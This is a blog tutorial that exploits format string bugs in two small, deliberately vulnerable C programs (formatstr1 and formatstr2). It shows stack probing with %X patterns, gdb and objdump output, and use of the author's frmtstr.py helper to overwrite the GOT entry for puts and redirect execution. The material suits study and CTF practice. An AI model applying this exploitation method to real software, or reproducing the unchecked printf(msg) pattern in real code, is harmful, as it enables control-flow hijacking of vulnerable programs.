I love format string vulnerabilities!

Intro

Since the first time I played with a format string vulnerability I kinda fell in love with them. While you don’t often find them in common software products you might run up to them in a CTF or Boot2Root challenge. While finding a format string vulnerability is kinda easy, I usually got annoyed when creating the exploit pattern… addresses and values have to be in little-endian, you need to calculate the lengths to write, etc. so decided to write a little helper tool called frmtstr.py. You can either include it into your own python script or run it from the command-line.

 

Demonstration

To demonstrate the usage of the tool I wrote two simple format string vulnerable applications and compiled them with gcc.

formatstr1.c:

#include <stdio.h>

void vulnfunction(char *msg)
{
	printf(msg);
}

int main(int argc, char **argv)
{
	char buff[256];

	printf("Input: ");
	fgets(buff, 256, stdin);
	vulnfunction(buff);
	printf("Bye\n");
	return 0;
}

formatstr2.c:

#include <stdio.h>

void vulnfunction(char *msg)
{
	char buff[300];

	sprintf(buff, "your input is: %s", msg);
	printf(buff);
}

int main(int argc, char **argv)
{
	char buff[256];

	printf("Input: ");
	fgets(buff, 256, stdin);
	vulnfunction(buff);
	printf("Bye\n");
	return 0;
}


formatstr1

We start with simply testing the vulnerability by feeding it some format pattern.

h4x@kali:~/code/vuln_apps$ ./formatstr1 
Input: AAAA
AAAA
Bye
h4x@kali:~/code/vuln_apps$ ./formatstr1 
Input: %X.%X.%X
0.BFFFF410.B7FBCFF4 <-- vulnerable!
Bye

It dumped data from the stack so it seems to be vulnerable. Now the next thing to do is trying to locate our input on the stack by using a format pattern like ‘AAAA.%X.%X…‘ till we see ‘41414141(AAAA)‘ in the output.

h4x@kali:~/code/vuln_apps$ ./formatstr1 
Input: AAAA.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X
AAAA.0.BFFFF410.B7FBCFF4.0.0.BFFFF518.8048500.BFFFF410.100.B7FBD440.0.41414141.2E58252E.252E5825
Bye

We can see 41414141 in the output, Now to convert this into a stack index I simply take the output like ‘AAAA.0.BFFFF410.B7FBCFF4.0.0.BFFFF518.8048500.BFFFF410.100.B7FBD440.0.41414141’ and split it on the ‘.’ with python, the length of the list minus one is the stack index.

h4x@kali:~/code/vuln_apps$ python -c "print len('AAAA.0.BFFFF410.B7FBCFF4.0.0.BFFFF518.8048500.BFFFF410.100.B7FBD440.0.41414141'.split('.'))"
13 <-- stack_index - 1

Now we have the stack index(12) of our data we can try to exploit the application by overwriting a ‘.GOT’ entry of a function which would be executed in the logic code flow.
Let’s have a look at the code flow of the main function its assembly

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x080484bf <+0>:    push   ebp
   0x080484c0 <+1>:    mov    ebp,esp
   0x080484c2 <+3>:    and    esp,0xfffffff0
   0x080484c5 <+6>:    sub    esp,0x110
   0x080484cb <+12>:    mov    DWORD PTR [esp],0x80485b0
   0x080484d2 <+19>:    call   0x8048370 <printf@plt>
   0x080484d7 <+24>:    mov    eax,ds:0x8049788
   0x080484dc <+29>:    mov    DWORD PTR [esp+0x8],eax
   0x080484e0 <+33>:    mov    DWORD PTR [esp+0x4],0x100
   0x080484e8 <+41>:    lea    eax,[esp+0x10]
   0x080484ec <+45>:    mov    DWORD PTR [esp],eax
   0x080484ef <+48>:    call   0x8048380 <fgets@plt>
   0x080484f4 <+53>:    lea    eax,[esp+0x10]
   0x080484f8 <+57>:    mov    DWORD PTR [esp],eax
   0x080484fb <+60>:    call   0x80484ac <vulnfunction>
   0x08048500 <+65>:    mov    DWORD PTR [esp],0x80485b8
   0x08048507 <+72>:    call   0x8048390 <puts@plt>
   0x0804850c <+77>:    mov    eax,0x0
   0x08048511 <+82>:    leave  
   0x08048512 <+83>:    ret    
End of assembler dump.

At line 17 the vulnfunction is executed and a possible GOT entry got overwritten, the next executed function is a puts at line 19 so we could overwrite the GOT.puts entry to anything we want and control the execution flow. Let’s grab the GOT entry address of puts with objdump

h4x@kali:~/code/vuln_apps$ objdump -R formatstr1 | grep puts
08049774 R_386_JUMP_SLOT   puts

 

p0wn formatstr1

First of all in order to see if I successfully exploited the application I use a poor man’s debugging trick using tail and syslog
sudo tail -n1 -f /var/log/syslog

Now let’s try to exploit the application using frmtstr.py

h4x@kali:~/code/vuln_apps$ ./frmtstr.py 12 0x08049774 0x41414141 | ./formatstr1
...
Segmentation fault

Checking the syslog we can see it worked.

...
Dec 26 19:26:10 kali kernel: [945190.527888] formatstr1[22477]: segfault at 41414141 ip 41414141 sp bffff36c error 14
...

 

formatstr2

So the next sample is similar to the first one except it takes some padding to get the correct stack index since the buffer which is send into the printf function has some extra data at front ‘your input is: ‘ as seen in the source code at line 7.

Sending the same pattern as before and adding ‘B’ chars at front till our data aligns correctly

h4x@kali:~/code/vuln_apps$ ./formatstr2
Input: AAAA.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X
your input is: AAAA.80485F0.BFFFF380.B7FBD4E0.B7FDE000.72756F79.706E6920.69207475.41203A73.2E414141.252E5825.58252E58.2E58252E.252E5825.58252E58.2E58252E.252E5825
Bye
h4x@kali:~/code/vuln_apps$ ./formatstr2
Input: BAAAA.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X
your input is: BAAAA.80485F0.BFFFF380.B7FBD4E0.B7FDE000.72756F79.706E6920.69207475.42203A73.41414141.2E58252E.252E5825.58252E58.2E58252E.252E5825.58252E58.2E58252E
Bye

So I need to add one extra char to the input to make it align, the stack index would be 9. Since formatstr2 uses the same code flow logic as formatstr1 I simply do the same GOT.puts overwrite, puts is located at 0x080497c8

 

p0wn formatstr2

The only difference in exploiting formatstr2 is that we should take care of the current data length created by the padding(one extra char) and the length of the ‘your input is: ‘ string, the total length of these together would be 16

Using frmtstr.py with the current length supplied

h4x@kali:~/code/vuln_apps$ echo B$(./frmtstr.py 9 0x080497c8 0x41414141 16) | ./formatstr2
...
Segmentation fault

Checking the syslog to see another successful p0wn!

Dec 26 19:47:51 kali kernel: [946489.583418] formatstr2[22655]: segfault at 41414141 ip 41414141 sp bffff36c error 14

 

GAME OVER

 

Advertisements